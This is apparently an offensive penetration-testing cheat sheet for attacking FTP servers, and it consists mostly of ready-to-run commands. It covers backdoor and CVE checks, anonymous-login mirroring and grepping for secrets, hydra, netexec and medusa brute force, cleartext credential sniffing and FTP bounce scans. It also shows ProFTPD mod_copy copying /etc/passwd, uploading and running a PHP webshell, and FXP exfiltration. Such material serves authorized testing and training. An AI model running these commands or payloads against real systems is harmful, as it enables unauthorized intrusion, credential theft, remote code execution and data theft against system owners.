FTP is clear-text, ancient, and far from dead. You still find it on dev boxes, legacy scanners, IoT devices, and anything running a file-upload appliance. The three questions: is anonymous login enabled, can I sniff creds on the wire, and is the FTP user shell-bound to a writable web root.
Discovery
nmap -p21 -sV -sC --script=ftp-anon,ftp-syst,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,ftp-bounce <IP>Banner version tells you what to try:
| Version | Known issue |
|---|---|
| vsftpd 2.3.4 | Smiley face backdoor — USER user:) → shell on 6200 |
| ProFTPD 1.3.3c | Backdoor |
| ProFTPD 1.3.5 | mod_copy remote exec (CVE-2015-3306) |
| Serv-U 15.1.6 | CVE-2021-35211 pre-auth RCE |
Anonymous Login
ftp <IP>
Name: anonymous
Password: anonymous
# One-liners
curl -s ftp://<IP>/
wget -r --no-passive ftp://anonymous:anonymous@<IP>/
# Impacket/smbclient alternative via smbclient-style
lftp -u anonymous, <IP>Once in, grep everything:
# Mirror the whole site
wget -m ftp://anonymous:anonymous@<IP>
# Then search for secrets
grep -riE 'password|passwd|credential|api[_-]?key' <IP>/
find <IP>/ -type f -iname '*.bak' -o -iname '*.zip' -o -iname '*.tar*' -o -iname '*.sql'Brute Force
hydra -L users.txt -P rockyou.txt ftp://<IP> -t 4
netexec ftp <IP> -u users.txt -p rockyou.txt
medusa -h <IP> -U users.txt -P rockyou.txt -M ftp
# If MaxPerIP is strict, throttle
hydra -L users.txt -P rockyou.txt -t 2 -w 5 ftp://<IP>Cleartext Credential Sniffing
FTP sends USER + PASS in plain text. If you can sniff the segment:
sudo tcpdump -i tun0 -w ftp.pcap port 21
# or live
sudo ./Pcredz -i tun0
# From a PCAP
./Pcredz -f ftp.pcap -t -vWireshark filter: ftp.request.command == "PASS".
FTP Bounce (Legacy Nmap Trick)
Older FTP servers support a PORT command that instructs the server to connect to an arbitrary IP:port — turning the FTP server into a proxy for TCP connect scans.
nmap -Pn -b anonymous:@<ftp-ip> <target-ip>Useful when the FTP box sits inside the network and your attacker IP can’t reach <target-ip> directly.
SITE EXEC / Writable Server
ftp> site exec id
ftp> site cpfr /etc/passwd (ProFTPD mod_copy)
ftp> site cpto /var/www/html/passwd.txt
If the FTP root maps to a web root (common for file-upload scanners / “FTP → website” shared storage):
# Upload a webshell, then execute via HTTP
echo '<?php system($_GET[c]); ?>' > sh.php
ftp <IP> <<EOF
anonymous
anonymous
put sh.php
bye
EOF
# Then
curl "http://<IP>/sh.php?c=id"FTP over TLS (FTPS)
Explicit (port 21, STARTTLS) or implicit (port 990).
lftp -u user,pass ftps://<IP>
openssl s_client -connect <IP>:21 -starttls ftpTLS defeats sniffing but not weak auth — still brute-forceable.
FXP (Server-to-Server Transfer)
Transfer files directly between two FTP servers via PORT. Allowed on older vsftpd/ProFTPD, disabled on modern. Useful for exfiltrating from an internal FTP to an external one through the second FTP acting as the carrier.
Common Gotchas
- Passive vs active mode. Default most clients: passive. Firewalled networks: try active (
PORT).ftpclient:passivetoggles. - Binary vs ASCII transfer. Set
binarybefore uploading executables / webshells — ASCII mode will corrupt them. - Hidden files.
ls -aworks on most servers;nlst -aif not. - Case sensitivity. Windows FTP is case-insensitive; Linux FTP isn’t.
Attack Chain Summary
Nmap 21 → anonymous allowed? → wget -m → grep for creds
↓ no
Version has known CVE? → exploit module (MSF: ftp/vsftpd_234_backdoor)
↓ no
Brute force known/guessable users (admin, ftpuser, backup) with rockyou
↓ in
Any writable dir? Check if FTP root == web root → upload webshell
↓ no shell
Loot files for secrets → feed into other services
